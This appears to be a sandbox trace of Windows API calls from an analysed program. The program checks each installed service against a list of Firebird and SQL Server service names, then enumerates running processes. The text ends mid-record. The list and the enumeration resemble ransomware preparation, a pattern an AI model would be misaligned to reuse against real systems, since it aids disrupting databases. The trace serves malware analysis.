1 [0256.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0256.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0256.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0256.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0256.521] lstrlenW (lpString="DusmSvc") returned 7 [0256.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0256.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0256.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0256.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0256.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0256.521] lstrlenW (lpString="EventLog") returned 8 [0256.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0256.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0256.521] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0256.521] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0256.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0256.521] lstrlenW (lpString="EventSystem") returned 11 [0256.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0256.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0256.521] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0256.521] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0256.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0256.522] lstrlenW (lpString="FontCache") returned 9 [0256.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0256.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0256.522] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0256.522] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0256.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0256.522] lstrlenW (lpString="gpsvc") returned 5 [0256.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0256.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0256.522] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.522] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.522] lstrlenW (lpString="iphlpsvc") returned 8 [0256.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.522] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0256.522] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0256.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0256.522] lstrlenW (lpString="KeyIso") returned 6 [0256.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0256.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0256.522] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0256.522] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0256.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0256.522] lstrlenW (lpString="LanmanServer") returned 12 [0256.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0256.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0256.522] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0256.522] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0256.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0256.523] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.523] lstrlenW (lpString="lfsvc") returned 5 [0256.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0256.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0256.523] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0256.523] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0256.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0256.523] lstrlenW (lpString="lmhosts") returned 7 [0256.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.523] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.523] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0256.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.523] lstrlenW (lpString="LSM") returned 3 [0256.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0256.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0256.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0256.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0256.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0256.523] lstrlenW (lpString="MpsSvc") returned 6 [0256.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.523] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.523] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.524] lstrlenW (lpString="NcbService") returned 10 [0256.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0256.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0256.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0256.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0256.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0256.524] lstrlenW (lpString="netprofm") returned 8 [0256.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0256.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0256.524] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0256.524] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0256.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0256.524] lstrlenW (lpString="NgcSvc") returned 6 [0256.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0256.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0256.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0256.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0256.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0256.524] lstrlenW (lpString="NlaSvc") returned 6 [0256.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.524] lstrlenW (lpString="nsi") returned 3 [0256.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.524] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.524] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.525] lstrlenW (lpString="PcaSvc") returned 6 [0256.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.525] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.525] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.525] lstrlenW (lpString="PlugPlay") returned 8 [0256.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.525] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.525] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.525] lstrlenW (lpString="Power") returned 5 [0256.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.525] lstrlenW (lpString="ProfSvc") returned 7 [0256.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.525] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.525] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.525] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.526] lstrlenW (lpString="RpcSs") returned 5 [0256.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.526] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.526] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.526] lstrlenW (lpString="SamSs") returned 5 [0256.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.526] lstrlenW (lpString="Schedule") returned 8 [0256.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.526] lstrlenW (lpString="SecurityHealthService") returned 21 [0256.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0256.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0256.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0256.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0256.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0256.526] lstrlenW (lpString="SENS") returned 4 [0256.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.527] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.527] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.527] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.527] lstrlenW (lpString="Spooler") returned 7 [0256.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.527] lstrlenW (lpString="StateRepository") returned 15 [0256.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0256.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0256.527] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0256.527] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0256.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0256.527] lstrlenW (lpString="SysMain") returned 7 [0256.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.527] lstrlenW (lpString="SystemEventsBroker") returned 18 [0256.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0256.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0256.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0256.528] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0256.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0256.528] lstrlenW (lpString="Themes") returned 6 [0256.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0256.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0256.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0256.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0256.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0256.528] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0256.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0256.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0256.528] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0256.528] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0256.528] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4535f60 | out: hHeap=0x640000) returned 1 [0256.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x494 [0256.535] Process32FirstW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.536] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.537] lstrlenW (lpString="System") returned 6 [0256.537] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.537] lstrlenW (lpString="smss.exe") returned 8 [0256.537] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.538] lstrlenW (lpString="csrss.exe") returned 9 [0256.538] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.539] lstrlenW (lpString="wininit.exe") returned 11 [0256.539] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.540] lstrlenW (lpString="csrss.exe") returned 9 [0256.540] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.540] lstrlenW (lpString="winlogon.exe") returned 12 [0256.540] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.541] lstrlenW (lpString="services.exe") returned 12 [0256.541] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.542] lstrlenW (lpString="lsass.exe") returned 9 [0256.542] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.543] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0256.543] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.543] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0256.543] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.544] lstrlenW (lpString="svchost.exe") returned 11 [0256.544] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.545] lstrlenW (lpString="svchost.exe") returned 11 [0256.545] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.545] lstrlenW (lpString="dwm.exe") returned 7 [0256.545] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.546] lstrlenW (lpString="svchost.exe") returned 11 [0256.546] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.547] lstrlenW (lpString="svchost.exe") returned 11 [0256.547] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.548] lstrlenW (lpString="svchost.exe") returned 11 [0256.548] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.549] lstrlenW (lpString="svchost.exe") returned 11 [0256.549] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.549] lstrlenW (lpString="svchost.exe") returned 11 [0256.549] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.550] lstrlenW (lpString="svchost.exe") returned 11 [0256.550] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.551] lstrlenW (lpString="svchost.exe") returned 11 [0256.551] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.551] lstrlenW (lpString="svchost.exe") returned 11 [0256.551] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.552] lstrlenW (lpString="svchost.exe") returned 11 [0256.552] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.553] lstrlenW (lpString="svchost.exe") returned 11 [0256.553] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.554] lstrlenW (lpString="spoolsv.exe") returned 11 [0256.554] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.554] lstrlenW (lpString="svchost.exe") returned 11 [0256.554] Process32NextW (in: hSnapshot=0x494, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, 